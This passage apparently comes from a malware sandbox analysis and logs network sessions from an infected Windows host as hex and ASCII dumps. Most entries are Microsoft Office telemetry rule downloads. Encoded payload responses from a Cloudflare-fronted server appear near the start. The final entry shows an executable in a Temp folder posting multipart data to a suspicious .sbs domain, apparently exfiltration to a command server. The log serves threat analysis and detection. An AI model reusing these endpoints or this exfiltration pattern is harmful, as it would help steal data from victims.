2024-11-23 20:15:36 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2bqh8p9c0hi3hbhbj4eojbhprb; expires=Wed, 19-Mar-2025 14:02:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zd8o%2BKMmBLjkgh3qepHqFi1kpXEImiyxBNiu0pKycrYVpsJ%2BnZUZCvzK3X69mIL8BbYALJLpguX9arbNZ%2FBayNcD9O4zpMl%2B3st%2BwHnAxNbD8Dg0B3dDSzDdQSvjxqQYY63WL7U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d5082fc71885-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1835323&cwnd=193&unsent_bytes=0&cid=71b5240acc105a4c&ts=1133&x=0"
2024-11-23 20:15:36 UTC	351	IN	Data Raw: 31 64 62 38 0d 0a 47 4d 6f 56 57 63 34 45 32 36 36 31 68 4e 43 35 69 61 4e 50 73 46 59 5a 44 51 4b 46 7a 73 36 46 43 4d 38 42 73 41 50 4e 6e 48 31 6a 36 47 4e 37 39 44 44 33 6a 4d 62 68 38 6f 50 39 30 54 72 56 65 6a 74 73 5a 71 66 30 71 4f 52 6b 76 47 53 63 49 62 76 78 58 79 4b 73 64 44 57 39 59 66 65 4d 30 50 7a 79 67 39 4c 59 62 64 55 34 4f 7a 63 67 34 4b 53 73 35 47 53 74 59 4e 74 73 76 66 41 65 63 4b 5a 79 4d 61 74 6e 76 38 2f 5a 36 62 58 63 37 4d 49 6c 33 6a 39 30 5a 57 2b 6e 34 75 7a 67 63 75 30 37 6b 6b 36 6f 36 42 78 56 71 32 59 79 37 48 6e 33 31 5a 66 68 76 70 75 7a 67 53 37 56 4e 48 56 72 5a 75 36 6d 70 75 31 73 72 47 58 61 63 36 54 36 46 58 43 6f 63 54 43 68 62 71 76 43 30 2b 36 2b 32 75 62 43 62 5a 78 30 66 48 63 67 76 2b 7a 2f 31 57 6d 38 63 Data Ascii: 1db8GMoVWc4E2661hNC5iaNPsFYZDQKFzs6FCM8BsAPNnH1j6GN79DD3jMbh8oP90TrVejtsZqf0qORkvGScIbvxXyKsdDW9YfeM0Pzyg9LYbdU4Ozcg4KSs5GStYNtsvfAecKZyMatnv8/Z6bXc7MIl3j90ZW+n4uzgcu07kk6o6BxVq2Yy7Hn31ZfhvpuzgS7VNHVrZu6mpu1srGXac6T6FXCocTChbqvC0+6+2ubCbZx0fHcgv+z/1Wm8c
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 54 57 74 61 37 6e 65 33 2b 32 35 33 76 6e 4b 4a 4e 38 35 65 32 4a 71 36 4b 2b 73 34 47 43 6e 62 4e 68 6c 6f 76 4d 5a 65 71 67 33 64 65 78 68 6f 59 79 50 70 70 48 65 2b 38 59 68 78 48 5a 42 4c 33 2b 70 74 65 7a 67 5a 75 30 37 6b 6d 6d 71 2f 52 78 78 70 33 51 7a 70 33 53 35 33 74 48 72 74 38 6e 74 78 43 50 59 4e 32 6c 6c 62 75 47 76 70 65 78 6a 71 47 54 57 49 65 47 2b 47 47 4c 6f 4c 33 75 4e 61 37 4c 41 33 66 47 79 6d 2f 53 50 4e 4a 49 7a 64 79 38 34 70 36 69 74 34 32 75 70 62 64 78 6c 6f 2f 67 52 64 36 64 78 4d 61 78 68 73 38 54 66 35 37 2f 51 35 4d 45 6f 33 7a 42 39 59 32 48 69 37 4f 4b 6e 62 62 55 6a 69 69 47 42 2b 52 78 6f 36 6b 49 34 6f 6d 69 2b 32 70 66 35 2f 4d 4b 72 78 69 47 53 62 44 74 68 5a 65 69 2b 72 66 56 76 6f 33 48 65 5a 4b 6e 7a 48 48 53 6f Data Ascii: TWta7ne3+253vnKJN85e2Jq6K+s4GCnbNhlovMZeqg3dexhoYyPppHe+8YhxHZBL3+ptezgZu07kmmq/Rxxp3Qzp3S53tHrt8ntxCPYN2llbuGvpexjqGTWIeG+GGLoL3uNa7LA3fGym/SPNJIzdy84p6it42upbdxlo/gRd6dxMaxhs8Tf57/Q5MEo3zB9Y2Hi7OKnbbUjiiGB+Rxo6kI4omi+2pf5/MKrxiGSbDthZei+rfVvo3HeZKnzHHSo
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 69 2b 32 70 66 35 2f 4d 4b 72 78 69 47 53 62 44 74 6a 61 65 65 6e 70 75 4e 71 71 6d 37 58 59 71 6a 39 45 6e 32 69 65 54 79 6f 61 72 44 42 30 65 61 31 33 2b 37 54 4b 4e 73 34 64 79 38 75 70 36 75 30 70 7a 4c 74 54 4e 56 33 72 4e 45 63 61 36 45 33 4a 4f 4a 2f 2b 63 76 62 70 75 71 62 37 4d 51 6c 32 54 4a 7a 62 33 4c 69 6f 71 66 6d 59 4b 74 69 33 32 32 70 2f 68 35 36 72 6e 73 37 71 32 47 72 33 74 4c 67 6f 4e 47 72 6a 32 33 56 4c 44 73 33 49 4e 47 38 75 2f 5a 38 37 31 62 52 62 36 48 35 43 54 71 33 4f 53 4c 73 59 62 57 4d 6a 36 61 35 32 2b 66 47 4a 64 51 77 63 32 42 76 37 72 36 74 36 32 53 2f 5a 4e 4a 6f 6f 66 45 54 63 36 56 77 4e 71 64 73 74 4d 6a 51 35 2f 4b 56 71 38 59 31 6b 6d 77 37 57 58 44 71 6f 49 4c 73 5a 71 51 6a 7a 53 2b 32 76 68 68 32 36 43 39 37 71 Data Ascii: i+2pf5/MKrxiGSbDtjaeenpuNqqm7XYqj9En2ieTyoarDB0ea13+7TKNs4dy8up6u0pzLtTNV3rNEca6E3JOJ/+cvbpuqb7MQl2TJzb3LioqfmYKti322p/h56rns7q2Gr3tLgoNGrj23VLDs3ING8u/Z871bRb6H5CTq3OSLsYbWMj6a52+fGJdQwc2Bv7r6t62S/ZNJoofETc6VwNqdstMjQ5/KVq8Y1kmw7WXDqoILsZqQjzS+2vhh26C97q
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 57 34 72 66 65 37 38 59 70 31 44 73 37 49 53 44 67 74 4f 79 2f 4b 6f 4a 45 35 79 4f 4f 78 46 39 6c 35 6d 35 37 71 32 72 35 6c 4a 66 71 73 64 66 6a 7a 69 76 62 4f 48 46 6d 61 2b 75 6e 71 4f 74 6a 71 47 58 54 5a 4b 72 2f 47 33 61 69 63 54 69 76 61 62 62 44 33 36 62 38 6d 2b 7a 5a 62 59 70 30 58 6e 68 72 36 61 72 73 2b 43 53 30 49 39 56 74 37 36 5a 66 64 71 46 78 50 61 6c 71 75 4d 72 66 34 37 72 66 36 73 63 72 30 54 74 2f 61 6d 48 6f 71 4b 44 70 59 4b 78 69 33 6d 71 67 39 52 6f 36 35 6a 63 38 74 43 62 68 6a 4f 62 6c 70 4d 7a 37 7a 57 33 4e 65 6d 49 76 5a 2b 76 73 39 4b 64 72 76 32 6e 59 62 36 72 78 47 6e 6d 6e 63 44 61 71 61 72 50 46 33 2b 43 39 30 76 6e 43 49 64 77 7a 64 57 4e 75 36 71 61 76 36 69 72 6a 49 39 56 35 37 36 5a 66 56 71 39 36 46 61 64 71 76 6f Data Ascii: W4rfe78Yp1Ds7ISDgtOy/KoJE5yOOxF9l5m57q2r5lJfqsdfjzivbOHFma+unqOtjqGXTZKr/G3aicTivabbD36b8m+zZbYp0Xnhr6ars+CS0I9Vt76ZfdqFxPalquMrf47rf6scr0Tt/amHoqKDpYKxi3mqg9Ro65jc8tCbhjOblpMz7zW3NemIvZ+vs9Kdrv2nYb6rxGnmncDaqarPF3+C90vnCIdwzdWNu6qav6irjI9V576ZfVq96Fadqvo
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 6d 36 57 42 4b 73 70 30 49 79 39 57 34 4c 79 38 35 43 69 63 64 64 46 33 70 50 4d 54 4f 72 63 35 49 75 78 68 74 59 79 50 70 72 54 55 34 73 49 69 30 7a 31 33 59 6d 58 75 71 61 33 68 62 71 64 70 30 6d 65 70 2f 78 70 77 71 33 59 78 70 57 47 78 79 39 54 30 38 70 57 72 78 6a 57 53 62 44 74 47 5a 2f 57 69 76 4b 64 31 34 33 71 53 5a 71 4f 2b 52 7a 71 73 66 54 53 6f 59 62 58 4b 30 75 43 2f 32 75 54 41 4c 64 30 77 63 47 5a 6d 35 71 47 70 36 6d 36 2f 61 64 6c 75 6f 2f 63 54 64 2b 67 35 65 36 74 2b 2b 5a 53 58 31 37 2f 56 35 63 59 37 6b 69 73 31 64 69 44 67 6f 4f 79 2f 4b 71 78 76 33 57 4b 67 2f 52 78 37 6f 6d 55 70 6f 47 2b 78 79 64 76 74 76 4e 33 35 78 79 4c 62 4e 33 68 6d 5a 2b 2b 67 70 75 52 74 37 53 32 53 5a 72 65 2b 52 7a 71 4c 59 43 75 68 4a 71 61 43 7a 71 61 Data Ascii: m6WBKsp0Iy9W4Ly85CicddF3pPMTOrc5IuxhtYyPprTU4sIi0z13YmXuqa3hbqdp0mep/xpwq3YxpWGxy9T08pWrxjWSbDtGZ/WivKd143qSZqO+RzqsfTSoYbXK0uC/2uTALd0wcGZm5qGp6m6/adluo/cTd+g5e6t++ZSX17/V5cY7kis1diDgoOy/Kqxv3WKg/Rx7omUpoG+xydvtvN35xyLbN3hmZ++gpuRt7S2SZre+RzqLYCuhJqaCzqa
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 69 76 63 4a 6e 35 70 62 2b 69 6c 70 65 4e 69 72 6d 50 57 5a 61 6a 37 48 48 61 6a 63 44 69 6a 59 72 44 43 33 75 6e 79 6c 61 76 47 4e 5a 4a 73 4f 30 35 37 35 4b 43 68 70 33 58 6a 65 70 4a 6d 6f 37 35 48 4f 71 52 35 50 71 78 73 76 38 6a 53 34 4c 6a 65 36 38 6f 75 33 54 42 39 61 32 2f 6e 70 36 58 6d 62 4b 68 70 32 57 65 69 2f 52 6c 38 36 44 6c 37 71 33 37 35 6c 4a 66 47 71 64 62 6e 78 6d 33 4e 65 6d 49 76 5a 2b 76 73 39 4b 64 68 6f 57 66 56 59 61 4c 39 46 33 2b 73 66 54 36 73 62 71 76 45 31 2b 47 67 79 65 76 49 4b 4e 34 33 65 32 74 6d 37 71 71 76 34 79 72 6a 49 39 56 35 37 36 5a 66 56 36 52 77 45 71 74 39 2b 64 4f 5a 2f 2f 4c 63 35 34 46 31 6b 6a 56 77 5a 57 2f 71 72 36 72 6b 59 61 68 70 30 32 61 6e 38 77 31 35 70 33 67 2f 72 47 6d 2f 79 74 62 70 74 4e 7a 69 Data Ascii: ivcJn5pb+ilpeNirmPWZaj7HHajcDijYrDC3unylavGNZJsO0575KChp3XjepJmo75HOqR5Pqxsv8jS4Lje68ou3TB9a2/np6XmbKhp2Wei/Rl86Dl7q375lJfGqdbnxm3NemIvZ+vs9KdhoWfVYaL9F3+sfT6sbqvE1+GgyevIKN43e2tm7qqv4yrjI9V576ZfV6RwEqt9+dOZ//Lc54F1kjVwZW/qr6rkYahp02an8w15p3g/rGm/ytbptNzi
2024-11-23 20:15:36 UTC	420	IN	Data Raw: 63 38 55 56 37 41 75 71 62 67 65 71 70 30 33 53 48 68 76 68 41 36 38 45 35 37 70 57 47 69 33 63 48 72 6f 74 79 72 2f 6d 4f 53 4c 44 73 33 49 4e 4b 76 6f 75 6c 74 75 33 4b 66 52 72 6e 30 47 47 71 76 59 44 54 73 4b 50 6e 4b 6c 37 37 68 6c 61 76 46 50 4a 4a 73 4b 7a 30 37 73 76 2f 37 74 7a 69 79 4c 63 73 68 75 62 35 48 4b 4f 59 33 4b 65 77 2b 2b 59 76 55 39 4b 44 64 36 4e 63 75 6c 51 70 46 53 48 72 71 71 72 76 32 56 4a 4e 6b 79 47 79 70 36 51 34 32 76 58 51 31 6f 6d 47 76 6a 4a 6d 6d 76 5a 75 7a 2b 47 32 61 64 45 51 68 49 50 2f 73 39 4b 64 66 72 6d 33 63 5a 72 6e 76 55 6c 32 79 65 6a 32 37 64 2f 6d 43 6c 2b 44 79 67 37 75 50 62 64 59 6c 4f 7a 63 77 74 66 66 35 74 44 33 39 4d 63 30 76 74 72 34 4a 4f 76 41 6c 64 65 78 30 2b 5a 53 58 6f 62 48 4a 2b 63 63 75 78 Data Ascii: c8UV7Auqbgeqp03SHhvhA68E57pWGi3cHrotyr/mOSLDs3INKvoultu3KfRrn0GGqvYDTsKPnKl77hlavFPJJsKz07sv/7tziyLcshub5HKOY3Kew++YvU9KDd6NculQpFSHrqqrv2VJNkyGyp6Q42vXQ1omGvjJmmvZuz+G2adEQhIP/s9Kdfrm3cZrnvUl2yej27d/mCl+Dyg7uPbdYlOzcwtff5tD39Mc0vtr4JOvAldex0+ZSXobHJ+ccux
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 32 36 62 34 0d 0a 70 74 7a 6c 78 79 32 53 65 6a 74 67 49 4c 2b 56 37 4b 38 71 6b 69 32 53 65 65 2b 6d 58 30 2b 72 65 54 57 72 63 4b 69 42 39 50 43 2f 31 4f 44 41 62 5a 78 30 66 53 38 34 74 2b 4c 73 34 33 76 74 4f 34 49 7a 39 4b 74 4d 4c 66 67 6c 4a 4f 4a 2f 2b 64 71 58 76 75 43 56 71 39 4e 74 69 6e 51 38 59 57 33 6d 72 36 4c 6b 65 4c 39 6c 30 58 65 73 75 53 46 45 69 58 6f 77 6f 47 75 32 78 2b 6e 59 6b 39 62 67 7a 53 44 64 50 30 56 52 64 65 53 69 6f 75 42 38 76 43 4f 63 49 61 43 2b 52 30 50 6f 50 33 75 54 4b 50 6e 55 6c 37 37 79 37 75 6a 50 49 39 55 69 61 69 4a 42 36 71 65 67 36 6d 57 6d 49 35 77 68 71 62 35 48 4b 75 59 33 50 37 30 6d 34 5a 79 46 76 65 65 49 76 4a 46 2f 7a 58 70 69 4c 33 61 6e 39 50 36 70 4b 72 38 6a 69 69 48 6f 2f 51 31 6f 72 6e 51 74 72 Data Ascii: 26b4ptzlxy2SejtgIL+V7K8qki2See+mX0+reTWrcKiB9PC/1ODAbZx0fS84t+Ls43vtO4Iz9KtMLfglJOJ/+dqXvuCVq9NtinQ8YW3mr6LkeL9l0XesuSFEiXowoGu2x+nYk9bgzSDdP0VRdeSiouB8vCOcIaC+R0PoP3uTKPnUl77y7ujPI9UiaiJB6qeg6mWmI5whqb5HKuY3P70m4ZyFveeIvJF/zXpiL3an9P6pKr8jiiHo/Q1ornQtr
2024-11-23 20:15:36 UTC	1369	IN	Data Raw: 55 36 4c 7a 63 2f 64 42 67 39 79 4e 34 66 32 62 6b 37 4f 4b 6e 62 4f 30 37 67 69 2f 76 2b 67 34 36 38 43 64 70 39 7a 50 71 6d 34 65 30 72 5a 58 79 67 54 75 53 62 43 6b 68 49 50 58 73 39 4b 63 74 72 6e 48 41 5a 36 7a 6f 48 44 32 57 53 52 32 76 64 37 50 74 32 76 61 31 35 64 58 55 4c 74 77 36 66 48 6c 78 70 2b 4c 73 36 43 72 31 57 70 49 70 34 2f 67 63 62 4f 68 49 64 65 78 2b 2b 5a 53 58 30 37 48 56 35 63 59 37 77 33 6c 64 62 48 48 74 6a 61 48 33 62 65 30 74 6b 6d 66 76 70 6b 77 30 36 48 4d 71 37 44 37 70 6e 6f 79 7a 34 59 79 37 6b 7a 4b 63 4c 54 74 35 49 4c 2f 2b 34 71 64 34 37 54 75 53 4a 71 7a 73 44 58 79 72 59 54 6a 72 57 49 66 35 31 4f 69 38 33 50 33 30 4c 73 4d 33 65 32 52 65 32 59 32 69 37 47 32 68 64 65 78 66 6d 76 30 52 64 4b 39 68 4b 75 77 6f 2b 63 Data Ascii: U6Lzc/dBg9yN4f2bk7OKnbO07gi/v+g468Cdp9zPqm4e0rZXygTuSbCkhIPXs9KctrnHAZ6zoHD2WSR2vd7Pt2va15dXULtw6fHlxp+Ls6Cr1WpIp4/gcbOhIdex++ZSX07HV5cY7w3ldbHHtjaH3be0tkmfvpkw06HMq7D7pnoyz4Yy7kzKcLTt5IL/+4qd47TuSJqzsDXyrYTjrWIf51Oi83P30LsM3e2Re2Y2i7G2hdexfmv0RdK9hKuwo+c

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.8	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:37 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201537Z-174c587ffdfldtt2hC1TEBwv9c000000036g00000000gast x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:38 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:37 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201537Z-178bfbc474bnwsh4hC1NYC2ubs00000004yg00000000gv49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.8	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:37 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201537Z-178bfbc474bv7whqhC1NYC1fg400000004wg00000000esb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:37 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201537Z-174c587ffdftjz9shC1TEBsh9800000003a0000000007db4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:37 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:37 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 190bcf01-801e-0078-3650-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201537Z-15b8b599d88cn5thhC1TEBqxkn00000003c0000000004pf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:38 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49761	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3V92XO7IO0775I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12828 Host: property-imper.sbs
